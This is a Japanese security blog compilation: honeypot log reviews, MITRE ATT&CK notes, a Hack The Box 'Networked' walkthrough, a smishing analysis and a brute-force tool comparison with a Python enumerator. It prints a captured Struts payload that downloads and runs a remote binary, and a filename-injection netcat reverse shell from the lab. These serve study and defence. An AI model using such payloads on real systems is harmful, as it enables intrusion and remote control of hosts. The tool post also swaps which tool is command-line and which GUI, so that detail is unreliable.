akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

WOWHoneypot植えて6ヶ月が経っていたので

思えば、WOWHoneypotをAWSに栽培してから6ヶ月が経ち、そこそこのログも貯まってきました。

最初は毎日を目標に集計していましたが、ちょっと。。。さぼ。。。さぼってしまい。。。
ちょくちょくログ見てはいましたがきちんと集計、分析するということはしておりませんでした。

ということで、区切りとしては微妙な月ですが、半年分の検知傾向をちょっとまとめてみようと思います。

※ちなみにAWSリージョンは東京のみ。

■6月〜11月検知の総評

f:id:akkietech:20201201010601p:plain

7月の検知数が10000件以上と突出しており、次いで6月と9月が8000件を超えていました。
10月、11月は減少傾向にありました。

全期間通して見ると、以下のURLパスへのリクエストは一貫して多数検知する傾向がありました。
・/manager/html
・/
・/is_test

また検知数が多かった月においては以下のような特徴が見られました。

7月の増加要因

下記URLパスへのアクセスの増加していました。
・/wp-login.php (WordPressの管理者ログイン画面へのアクセス)
・/xmlrpc.php (WordpressXML-RPC機能の悪用の試み)

6月、9月の増加要因

/manager/html (Apache Tomcatの管理画面)へのアクセスが他の月に比べて増加していました。

■月ごと検知傾向

ここでは各月で特に検知が目立った通信、ピックアップしたい通信を挙げていきます。
 

・6月

送信元IPアドレス:106.13.39.229 (中国)
通信内容:vBulletinの脆弱性(CVE-2019-16759)を狙った通信などを検知

POST /forums.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Host: [server ip]
Content-Length: 103
Connection: Keep-Alive
Cache-Control: no-cache
 
epass=2dmfrb28nu3c6s9j&routestring=ajax/render/widget_php&widgetConfig[code]=die(@md5(HellovBulletin));

※ vBulletinの脆弱性(CVE-2019-16759)について
https://www.exploit-db.com/exploits/47447
https://unit42.paloaltonetworks.jp/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/
 

・7月

送信元IPアドレス:159.203.36.107(カナダ)、94.23.222.147(フランス)など、複数
通信内容:下記URLパスへのアクセス急増
・/wp-login.php (WordPressの管理者ログイン画面へのアクセス)
・/xmlrpc.php (WordpressXML-RPC機能の悪用の試み)

POST /wp-login.php HTTP/1.1
Host: [server ip]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
Accept-Encoding: gzip
Connection: close
 
log=&pwd=admin123456789&wp-submit=Log In&redirect_to=http://[server ip]/wp-admin/&testcookie=1
POST /xmlrpc.php HTTP/1.1
Host: [server ip]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Content-Length: 473
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
 
<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>admin</string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

 

・8月

送信元IPアドレス:222.89.70.216 (中国)、222.89.70.208 (中国)
通信内容:Apache Struts2脆弱性(CVE-2019-0230など)を狙った通信が急増

GET /index.action HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: */*
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cd /tmp;wget hxxp://43.226.147.250:968/sdb;chmod 777 sdb;./sdb').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Host: [server ip]:8080

Apache Struts2脆弱性(CVE-2019-0230)について
https://www.jpcert.or.jp/at/2020/at200034.html
https://www.exploit-db.com/exploits/49068

・9月

送信元IPアドレス:89.40.73.127 (ルーマニア)
通信内容:Apache Tomcatの管理画面(/manager/html)に対して、Authorizationヘッダ付きでログインを試みる通信を多数検知

===========================
[2020-09-10 01:34:18+0900] : 89.40.73.127
GET /manager/html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Authorization: Basic cm9vdDpQQHNzd29yZCEhIQ==
Host: [server ip]:8080
===========================
[2020-09-10 01:34:19+0900] : 89.40.73.127
GET /manager/html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Authorization: Basic cm9vdDpQQHNzd29yZF8xMjM=
Host: [server ip]:8080
===========================

 

・10月

106.52.22.202 (中国)
Apache StrutsApache Tomcat、ThinkPHPなど幅広く狙った通信を多数検知していました。
 

・11月

送信元IPアドレス:178.237.237.29 (スペイン)、180.180.53.252 (タイ)など多数
通信内容:NetgearのRCEの脆弱性(/currentsetting.htm)を狙った通信が急増

GET /currentsetting.htm HTTP/1.1
Host: [server ip]

※Netgearの脆弱性について
https://www.exploit-db.com/exploits/48588


送信元IPアドレス:91.241.19.84 (ロシア)
通信内容:/console/アクセスを検知への急増、Oracle WebLogic Serverの脆弱性を狙う探索活動と思われる。

GET /console/ HTTP/1.1
Host: [server ip]:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Encoding: gzip
Connection: close

Oracle WebLogic Serverの脆弱性について
https://www.jpcert.or.jp/at/2020/at200040.html
https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html

■まとめ
流石に全ては見きれなかったので、検知数が目立ったり流行りだったりの通信をピックアップしてまとめてみました。
少しでも参考になれば幸いです。

やっぱり半年に一回くらいはこれくらいがっつりやりたいな!笑

MITRE ATT&CK(自分用備忘録)

MITRE ATT&CKについての備忘録。内容が内容なので、もう至る所に上質な日本語での情報がすでにあったりしますが、自分なりに解釈できるようにまとめただけのやつです。あとATT&CKを知らない後輩に教えるつもりでも意識して書いてみました。

■ATT&CKとは

一言で言えば、「攻撃者が用いる戦術や戦略のナレッジベース」です。
( ナレッジベース = 知識管理のための特殊なデータベース)

アメリカのMITER社が公開しています。
脅威情報は変化が早いため、四半期に一度は脅威情報が更新されているようです。

ATT&CKには主に以下4つの構成があります。
Tactics
・Techniques
・Groups
・Software

Tactics (戦術)
 → 攻撃を行う目的の一覧。12の戦術が挙げられている。
  また、目的達成のために様々な手法 (Techniques)を用いる。

・Techniques (手法)
 → 目的を達成するために使う手法の一覧。Techniquesの中にもSub-Techniquesがある。
  各手法のページでは、その手法を利用するグループ、手法が利用可能なツール、緩和策なども紹介されてる。

・Groups
 → 攻撃者、攻撃グループの一覧

・Software
 → 攻撃で使われるソフトウェア、ツールの一覧

■ATT&CKの各構成の例

12ある戦術として「Initial Access」「Execution」「Lateral Movement」などがあります。

今回例を取り上げるために、日本語化プロジェクトでまだ翻訳されていない「Privilege Escalation」をピックアップして、各構成について説明してみようと思います。

- 戦術 (Tactics) -

(公式の説明を引用)

Privilege Escalation - 権限昇格

攻撃者はより高いレベルの権限を取得することを試みます。

「Privilege Escalation」は、攻撃者がシステムやネットワーク上で高い権限を得るために使うテクニックで構成されています。
攻撃者はしばしば権限を得ずにネットワークに侵入し探索しますが、攻撃者の目的達成のために昇格した権限を要求することもできます。共通のアプローチとして、システムの弱点、設定不備、脆弱性を悪用することが挙げられます。高い権限の例として、「SYSTEM/root(システム権限/ルート権限)」「local administrator(ローカル管理者)」「user account with admin-like access(管理者に近いユーザ)」「user accounts with access to specific system or perform specific function(特定のシステムへのアクセスが可能なユーザ、もしくは特定の機能を実行することが可能なユーザ)」が挙げられます。これらの手法は時に「Persistence (永続化)」の手法と重複することがありますが、これはOSが権限が高いコンテキストで実行する場合があるためです。

- Techniques (手法) -

権限昇格を達成するための手法として以下のTechniquesとSub-Techniquesが挙げられています。
(多いので一部抜粋)

Abuse Elevation Control Mechanism - 昇格制御機構の悪用
  (以下Sub-Techniques)
  |_ Setuid and Setgid
  |_ Bypass User Access Control

Access Token Manipulation - アクセストークンの操作
  |_ Token Impersonation/Theft
  |_ Create Process with Token

などなど。。。

- Group -
例えば上記の
Abuse Elevation Control Mechanism - Bypass User Access Control
の手法を用いる攻撃グループの例として
・APT29
Cobalt Group
などが挙げられています。

そしてAPT29のGroupページを見ると以下のような説明があります。

APT29はロシア政府に関与するとされている脅威グループであり、少なくとも2008年には活動を開始しています。本グループは2015年の夏に始まったアメリカの民主党全国委員会に不正侵入したことが報道されています。

またその他の情報として
・その他関わりのあるグループはどこか
・どういった手法を用いるのか
などが記載されています。

- Software -
同様に
Abuse Elevation Control Mechanism - Bypass User Access Control
の手法が利用可能なソフトウェアの例として
Cobalt Strike
Empire
などが挙げられています。

そしてCobalt StrikeのSoftwareページを見ると以下のような説明があります。
(翻訳自信無い..)

Cobalt Strikeは、フル機能を備えた商用のペネトレーションツールで、自身を「標的への攻撃実行や高度な脅威アクターのpost-exploitationをエミュレートするように作成された敵対的シミュレーションソフトウェア」として宣伝しています。 (以下省略)


その他、そのツールで利用可能な手法、ツールを用いるグループなどが紹介されています。

■ATT&CKをもう少し知る

・他のサイバーセキュリティフレームワークとの比較

サイバーセキュリティのフレームワーク「Cyber Kill Chain」をご存知でしょうか。
「Cyber Kill Chain」は偵察活動から目的の実行までをフレームワーク化したものです。

ATT&CKは、この「Cyber Kill Chain」の侵入以降のプロセスを対象としてまとめられています。
(なお、侵入までのプロセスは、PRE-ATT&CKでまとめられている)

その他サイバーセキュリティには様々なフレームワーク、モデル、情報があります。
ATT&CKの位置付けとしては以下のようになっているらしいです。

・Exploitの情報や脆弱性情報(CVEなど)といったものよりも抽象的
・Cyber Kill ChainやMicrosoftの「STRIDE」のような戦略的な知識よりも具体的

つまり抽象度の大小で表すと

 (より具体的) CVE情報、Exploit情報 < ATT&CK < Cyber Kill Chain、STRIDE (より抽象的)

ということ、かなと (分かりにくいか。

・ATT&CKがどういった場面で使用されるか

また、ATT&CKがどういった場面で使用されるかについては
・レッドチーム演習
・SOC成熟度評価
・防御のギャップ評価
などなど、色々使い方はあるようですね。

最近読んでいる「インテリジェンス駆動型インシデントレスポンス」では、攻撃者の情報をトリガーとしてインシデント調査を進めるなどの内容があったので、そういった場合にもATT&CKは有用なのかなと思います。

■まとめ

個人的な備忘録としてATT&CKをまとめてみました。自分が実際に活用するのはほんの少し先になりそうですが、このタイミングでまとめておいてよかったです。公式ページで全ての情報を見ようとするとかなり多いですし、ここでまとめきれていない情報もたくさんあったりします。
とはいえ、時間があればちょっとずつでもいいので目を通していきたいですね。

HTB Networked攻略メモ

HTBのNetworked端末の自分用メモです。
ippsecの動画をほとんど参考にしましたが、大変参考になりました。
https://www.youtube.com/watch?v=H3t3G70bakM


init shell

dirbusterからupload.phpを発見
bakupからupload.phpを読んでアップロード可能なファイルの形式を読み取る

キーワード:magic bytes => ファイルの頭のバイト列からファイルの形式を判定する
参照例:
https://blog.netspi.com/magic-bytes-identifying-common-file-formats-at-a-glance/

今回の場合、upload.phpが「ファイル名の拡張子」と「ファイルのmagic bytes」を確認していた。
なので
・revere phpシェルファイルの頭文字に「GIF87a.」を入れる
・met_rev_4444.php.gifとしてファイルを保存
みたいにすればアップロード成功、init shell取得

gulyへの権限昇格

gulyディレクトリのcheck_attack.phpに以下の文字列がある
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$valueにファイル名が入るので、OSコマンドを含む文字列をファイル名としてつければOSコマンドの実行が可能になる。

bash-4.2$ pwd
pwd
/etc/httpd
bash-4.2$ cd /var/www/html/uploads
cd /var/www/html/uploads
bash-4.2$ pwd
pwd
/var/www/html/uploads
bash-4.2$ touch -- '; nc -c bash 10.10.14.22 4445;.php'
touch -- '; nc -c bash 10.10.14.22 4445;.php'
bash-4.2$ ls -l '; nc -c bash 10.10.14.22 4445;.php'         
ls -l '; nc -c bash 10.10.14.22 4445;.php'
-rw-r--r-- 1 apache apache 5 Jun 28 14:38 ; nc -c bash 10.10.14.22 4445;.php
bash-4.2$ 

あとはcronが実行されればgluyへの昇格が成功する。

rootへの権限昇格

sudo -l から/usr/local/sbin/changename.shの実行が可能とわかる。
/etc/sysconfig/network-scripts/ifcfg-gulyへインターフェイス情報が書き込まれるスクリプトだとわかる。
このスクリプト内では echo $x whoamiのようにスペースを空けて次のコマンドを挿入すれば、挿入したコマンドも実行できるというものらしい。
参照元
https://seclists.org/fulldisclosure/2019/Apr/24

以下のように入れれば、rootを取得できることが可能。

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
aaa
interface PROXY_METHOD:
bbb
interface BROWSER_ONLY:
ccc bash
interface BOOTPROTO:
TCP
[root@networked network-scripts]# 
補足:.php.gifがphpとして実行可能なのが危険

httpdconf内のphp.confの設定として、ファイル名に「.php」が含まれている場合は全て実行が可能になるというものなっているため。
これは設定としては不適切なため、末尾に.phpがある場合のみ実行できるように以下のように設定を修正する必要がある。

【修正前】

AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"

【修正後】

<FilesMatch ".php$">
	AddHandler php5-script .php
	AddType text/html .php
</FilesMatch>
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"

初めてスミッシングを受け取ったので少し深追いしてみる

初めて受け取りました。


f:id:akkietech:20200617174006j:plain

電話番号
080[-]6040[-]7442

URL
hxxp://waetdasfh[.]duckdns[.]org

初めてスミッシングを受け取りました。


ちなみに「スミッシング」とは
SMSを用いたフィッシングのことです。

SMS + フィッシング = SMィッシング → スミッシング
でしょうかね。

職業病なのか少しテンションが上がったので、深追いしてみました。

Virustotalで調査

f:id:akkietech:20200617174159p:plain

今のところはスキャン結果はクリーンとなっているようです。

f:id:akkietech:20200617174111p:plain

またステータス200返ってきているので、実在するWebページのようです。

正引きで返ってきたIPアドレス(128.1.248[.]195)の登録地域はアメリカです。
今のところはIPアドレスもクリーンなようでした。

■Aguseでの調査

f:id:akkietech:20200617174319p:plain

別のURLにリダイレクトされているようでした。
hxxp://waetdasfh[.]duckdns[.]org/kwfcmpfnfeoaokq.apk

どうやらapkファイルをダウンロードさせるためのURLのようです。
初めて見た拡張子だったので調べてみたところ、Androidアプリに関するファイルのようでした。

自分の使っているスマホAndroidなので、URLを踏んでいればそのアプリがダンロードさせられていたのでしょう。

ちなみにこのURLでVirustotalやってみたら引っかかってました。

f:id:akkietech:20200617174343p:plain


次に行きます。

■urlscan.ioでの調査

このページでは対象のURLをスキャンし、レスポンスページのHTMLファイルを見れたりします。

f:id:akkietech:20200617174408p:plain

「Show response」をクリックします。

f:id:akkietech:20200617174422p:plain

大量のjava scriptらしきものが出てきました!!(テンション上げ)
これは怪し〜〜〜〜www
見てみたろ。

Linux環境でWebページを動かしてみる

urlscanで返ってきたレスポンスページを丸々コピーして挙動を見ちゃいましょう。
ファイル名はmal.htmlとして、上記のhtmlを丸コピして、以下でwebサーバを起動します。

!!念の為、変な通信が外部に発生しないようインターネット接続からは隔離しています!!


python3 -m http.server

f:id:akkietech:20200617174458p:plain

出たーーーーー!!
「セキュリティ向上のため,最新バージョンのChromeにアップデートしてください.」
のメッセージが出ました。

句読点がカンマだったり、ピリオドになってるあたり、惜しいですね〜。

OKを押してみましょう。

f:id:akkietech:20200617174514p:plain

同一のホスト名に対して、/khbrcufcspywukaozafa.apkのURLへのアクセスが発生するようになりました。
つまり警告に対してOKボタンを押すことで、Androidファイルをダウンロードさせられることになります。

ちなみにwiresharkとかtcpdumpで確認したところ、インターネット向けに変な通信は発生していませんでした。あくまで同一ホストに対するパスが渡されているようですね。

■まとめ

初めてスミッシングを受け取って少しだけ追跡してみました。
apkファイルも実際に見てみたかったのですが、犠牲になってもらうAndroid端末は持ち合わせてないし、Androidアプリが動作するエミュレータを導入するほどでもないかなと思ったので、深追いはここまでとしました。

ちょっとびっくりしたのはSMSを受け取った時点で「SPAMでは?」的な警告が出ていたことです。一般的なユーザがフィッシングに引っかかりにくくなる仕組みができていてすごいなと感じました。

ということで、スミッシング(詐欺SMS)には気をつけましょう!

ハニーポット集計(5/9〜5/13)

集計期間
2020/5/9 〜 2020/5/13 (5日間)
捕捉状況は末尾に記載。

以下は集計期間で目立った通信。

■89.248.174.151によるphpMyAdminの探索活動

検知日数:
5/12〜5/13

User-Agent:
python-requests/2.9.1

Request URL:
GET /phpmyadmin/scripts/setup.php HTTP/1.1
GET /sqladm/scripts/setup.php HTTP/1.1
GET /sqladmin/scripts/setup.php HTTP/1.1
GET /phpmyadmin/scripts/db___.init.php HTTP/1.1
GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1
GET /MyAdmin/scripts/setup.php HTTP/1.1
GET /database/scripts/setup.php HTTP/1.1
etc

検知数
5/12 : 11
5/13 : 14

■89.248.174.151によるApache Tomcatの探索活動

検知日数:
5/9〜5/13

User-Agent:
Python-urllib/2.7
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Request URL:
GET /is_test HTTP/1.1
GET /manager/html HTTP/1.1

検知数
5/9 : 10
5/10 : 12
5/11 : 10
5/12 : 11
5/13 : 14

常に検知数上位に位置している205.185.123.189による通信。
/manager/htmlと/is_testへのリクエストが常にセットできている。

/manager/htmlはApache Tomcatの探索活動であると思われるが、
/is_testはなんなのか、いまいちこれといった情報が見つからなかった。

User-Agentも
・/is_test宛ては「Python-urllib/2.7」
・/manager/html宛ては「Mozilla/5.0 〜」
といったところも固定されているようであった。

ちなみに、Metasploitでいえばmulti/http/tomcat_mgr_uploadにあたる攻撃だろうと考える。
(ExploitDB: https://www.exploit-db.com/exploits/31433)

こんなに毎日来るようであれば、擬似的なTomcatページを返して攻撃者がどういった行動をとるのか観察してみたいところである。

■捕捉状況

総検知数:643

日別
153 : 2020-05-10
142 : 2020-05-12
126 : 2020-05-09
126 : 2020-05-13
96 : 2020-05-11

送信元別 (上位20)
54 : 205.185.123.189
45 : 103.40.102.148
43 : 195.54.160.121
25 : 89.248.174.151
16 : 77.247.108.77
14 : 5.101.0.209
9 : 220.132.51.121
9 : 118.25.79.208
9 : 61.160.251.82
8 : 173.212.213.46
8 : 114.32.47.58
8 : 220.134.196.214
8 : 111.229.240.235
8 : 191.232.238.42
7 : 113.169.23.80
7 : 27.78.201.212
7 : 117.157.15.27
6 : 185.162.235.189
5 : 66.240.205.34
4 : 14.225.3.52

User-Agent別 (上位20)
57 : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
46 : Mozilla/5.0 zgrab/0.x
45 : Mozilla/3.0 (compatible; Indy Library)
27 : Python-urllib/2.7
26 : Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
25 : python-requests/2.9.1
22 : Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
20 : Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; hxxp://cloudsystemnetworks.com)
20 : Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
19 : Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
16 : python-requests/2.21.0
14 : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
12 : Abcd
12 : Go-http-client/1.1
10 : Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
9 : masscan/1.0 (hxxps://github.com/robertdavidgraham/masscan)
8 : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
7 : Mozilla/5.0
7 : XTC
6 : ZmEu

リクエスURI別 (上位20)
308 : /
76 : /manager/html
27 : /is_test
12 : /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
11 : /setup.cgi
9 : /hudson
9 : /solr/admin/info/system?wt=json
9 : /?a=fetch&content=die(@md5(HelloThinkCMF))
9 : /?XDEBUG_SESSION_START=phpstorm
9 : /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP
9 : /api/jsonws/invoke
9 : /sess-bin/login_session.cgi
9 : /cgi-bin/mainfunction.cgi
8 : /TP/public/index.php
8 : /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]
=1
7 : /doLogin
7 : /TP/public/index.php?s=captcha
5 : ip.ws.126.net:443
4 : /logs
4 : /editConfig?returnUrl=/

■備忘録
やりたいこと
・Apache Tomcatの擬似ページレスポンス作れるか
・rorbots.txtも擬似的に返して、攻撃者が実際にアクセスするのか実験してみたい。

WOWHoneypotはじめてみた

■経緯

OSCP取得から、かなり気持ち的にも余裕が出てきたので。

如何せんはじめてなもので、色々ググりました。
AWSでT-Potから始めてもよかったんだが、若干コストがかかる感じだったので、
スモールスタートということでWOWHoneypotを使うこととしました。

WOWHoneypotといえば、ハニーポッターの著書でおなじみのmorihisaさんが初心者向けに作成されたもので、githubにて公開されています。

https://github.com/morihisa/WOWHoneypot

AWSでアカウント登録することで得られる無料枠を利用して、こちらのWOWHoneypotを設置していくこととしました。

設置については他の方々がブログで詳細に分かりやすく解説されているので、ググって参考にしていただければと思います。

インスタンスのリージョンは無難に東京としました。

■捕捉状況

5/4〜5/9までの捕捉状況です。

日別

131 : 2020-05-06
126 : 2020-05-09
112 : 2020-05-08
104 : 2020-05-07
98 : 2020-05-05
続きを読む

Webブルートフォースツール比較

Hack the Boxをやっていると、Webサーバに対してブルートフォースを実施して
コンテンツの調査をする機会が多い。

そしてツールには選択肢がある。
有名なもの、というかよく使われるものとしては以下があげられる。と思う。

・dirbuster (コマンドラインで使う)
・gobuster (GUIで使える)
・nmap --script http-enum

あまりにEnumerationする機会が多かったので、どれが一番早いのか気になってこれらの実行時間を比べてみた。

■条件

・ターゲット
HTBのJoomla端末であるCurling(10.10.10.150)

・Wordlist

kali@kali:~$ wc -l /usr/share/seclists/Discovery/Web-Content/common.txt
4652 /usr/share/seclists/Discovery/Web-Content/common.txt

多すぎず少なすぎずの4652行。

・スレッド
オプション指定で100。
ちなみに気をつけないといけないのは、Webサーバによってはスレッド数多すぎるとBanされることがあるので注意。

・なお、一応比較対象として加えるnmapのnseスクリプトはデフォルトに従う。

ディレクトリ探索のみ

・dirbuster
  → 17秒

・gobuster
  → 17秒

kali@kali:~$ gobuster dir -u http://10.10.10.150 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100

・nmap http-enum
  → 26秒

kali@kali:~$ nmap -p80 10.10.10.150 --script http-enum

■ファイル探索 (対象の拡張子は、html,php,txtの3つ)

・dirbuster
  → 40秒

・gobuster
  → 46秒

kali@kali:~$ gobuster dir -x php,html,txt -u http://10.10.10.150 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100

・自作pythonスクリプト
ちなみに自作のpythonスクリプトも作ってみた。
もしかしたら自分で作るスクリプトが一番早かったりする?みたいな
夢みたいなこと考えてしまい、作って実際測るまでわからなかったので一応作ってみた。

なにかとある程度形にするのに3時間近くかかった。
結果、ファイル探索にかかった時間は70秒。
そりゃ既存ツールの方が早いに決まってる。

せっかく作ったので末尾ににコード載せておくけど。改良の余地ありですね。
ちなみに「サイバーセキュリティプログラミング」の本をかなり参考にして作った。

■まとめ

dibuster、gobuster共に4600くらいのワードリストだと17秒くらい。
拡張子3つを対象(=約13800)にすると40秒くらいで終えてくれる。

だいたい同じくらいですが、個人的にはGUIのdirbusterの方が好みです。
右クリックでURLをそのまま開けたり、レスポンスが見れたりできて便利なので。

状況や攻撃端末の環境によって使い分けるといいかもですね。

■自作WebEnumスクリプト
#!/usr/bin/python
import requests, Queue, threading, sys, getopt

extension = "html,php,txt"
fname = "/usr/share/seclists/Discovery/Web-Content/common.txt"
threads = 20
url = ""

def usage():
	print"Usage: python %s [option]"%(sys.argv[0])
	print"	-u, --url	: Target URL"
	print"	-w, --wordlsit	: Wordlist (Default: /usr/share/seclists/Discovery/Web-Content/common.txt)"
	print"	-e, --extension	: Extension (Default: html,php,txt)"
	print"	-t, --threads	: Number of threads (Default: 20)"
	print""
	print 'Ex: python %s -w my_wordlist -e "html,pl,py,sh" -t 100 -u http://target.url/'%(sys.argv[0])
	sys.exit(0)

def run_exploit(target_url_queue):
	error_count=0
	while not target_url_queue.empty():
		target_url = target_url_queue.get()

		try:
			req = requests.get(target_url)
			if not "404" in str(req):
				print "%s : %s\n"%(req, target_url)
		except:
			pass

def main():
	global url
	global wordlist
	global threads
	global fname
	global extension

	if not len(sys.argv[1:]) or not "-u" in sys.argv:
		usage()

	try:
		opts, argv = getopt.getopt(sys.argv[1:],"ht:w:e:u:",["help","threads","wordlist","extension","url"])
	except getopt.GetoptError as err:
		print str(err)
		usage()

	for o,a in opts:
		if o in ("-h", "--help"): 
		    usage()
		elif o in  ("-t", "--threads="):
		    threads = int(a)
		elif o in ("-w", "--wordlist="):
		    fname = a
		elif o in ("-e", "--extension="):
		    extension = a
		elif o in ("-u", "--url="):
		    url = a
		else:
			assert False, "Unhandled Option"

	if "http://" in url:
		base_url = "%s/"%url
	else:
		base_url = "http://%s/"%url

	f = open(fname, "r")
	file_names = f.readlines()
	f.close()

	ex_array = extension.split(",")
	total_req = len(file_names) * len(ex_array)
	target_url_queue = Queue.Queue()

	for file_name in file_names:
		for ex in ex_array:
			target_url = base_url + file_name.strip() + "." + ex
			target_url_queue.put(target_url)

	print "============================="
	print "Target: %s"%(base_url)
	print "Wordlist: %s"%(fname)
	print "Extensions: %s"%(extension)
	print "Thread: %s"%(str(threads))

	print "\nTotal Request: %s"%(total_req)
	print "=============================\n"

	for i in range(threads):
	    t = threading.Thread(target=run_exploit, args=(target_url_queue,))
	    t.start() 

if __name__ == "__main__":
	main()